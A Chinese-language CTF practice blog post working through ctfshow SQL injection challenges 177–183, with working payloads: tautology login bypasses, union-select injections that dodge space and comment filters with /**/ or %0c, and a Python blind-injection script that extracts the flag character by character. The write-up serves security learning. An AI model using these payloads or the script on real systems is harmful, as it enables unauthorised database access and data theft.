ctfshow sql注入练习记录

前言:继续做ctfshow的题了,本次为sql注入专题,从ctfshow web 177开始

ctfshow web 177

对空格,--+进行了过滤,注释符要换成#的url编码 %23

使用万能密码可以绕过

1'or'1'='1';%23

也可也使用/**/对空格进行绕过,进行联合查询

-1'union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag';%23

记得吗,在之前的命令执行博客中,/**/也可也在bash中绕过空格

ctfshow web 178

万能密码直接秒了

1'or'1'='1';%23

相比上一题还过滤掉了* 但还存在其他的空格过滤方式

%0a %0c %09 /*!*/ %0b %0d

我们选取可以绕过过滤的对上一题的payload进行替换即可

ctfshow web 179

万能密码照样秒了

1'or'1'='1';%23

通过实际测试 %0a %0b %09都被过滤了,直接%0c绕过

ctfshow web 180

这题给%23给过滤了,用--%0c-来替代即可

-1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag';--%0c-

ctfshow web 181

这题给了过滤条件

  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

虽然看似过滤了%0c但经过实际测试并没有过滤

所以-1'or'1'='1'--%0c-可以用

如果不用--%0c-则可以使用-1'or(id)='26 这个payload使用括号来区分or和其他部分

或者-1'or(username)='flag

ctfshow web 182

-1'or(id)='26照样能过,应该是把flag给过滤了

ctfshow web 183

这题和前几题都有些不同,没有回显,需要我们使用盲注知识

查询语句

  $sql = "select count(pass) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

查询结果:

//返回用户表的记录总数
      $user_count = 0;

使用脚本:

import requests
str = "1234567890{}-abcdef"
flag = ""
url = "http://4b2bf469-5e91-4cbf-bcd3-a3e46fde1d7f.challenge.ctf.show/select-waf.php"
while True:
    for i in str:
        data = {
            'tableName': "(ctfshow_user)where(pass)like'ctfshow{}%'".format(flag+i)
        }
        response = requests.post(url, data=data)
        reward = response.text
        if "$user_count = 1;" in reward:
            flag += i
            print("ctfshow{}".format(flag))
            break
    if flag[-1] == '}':
        exit()

过滤条件比较多,使用sqlmap并不方便,所以我们采取自己写脚本的方式

逻辑很简单,但有几个点需要解释一下

format函数用于给字符串添加内容,添加的位置位于{}的位置

requests.post方法传递数据时需要按这种写法写

flag[-1]表示字符串的倒是第一个字符

posted @ 2024-02-27 20:49  折翼的小鸟先生  阅读(5)  评论(0编辑  收藏  举报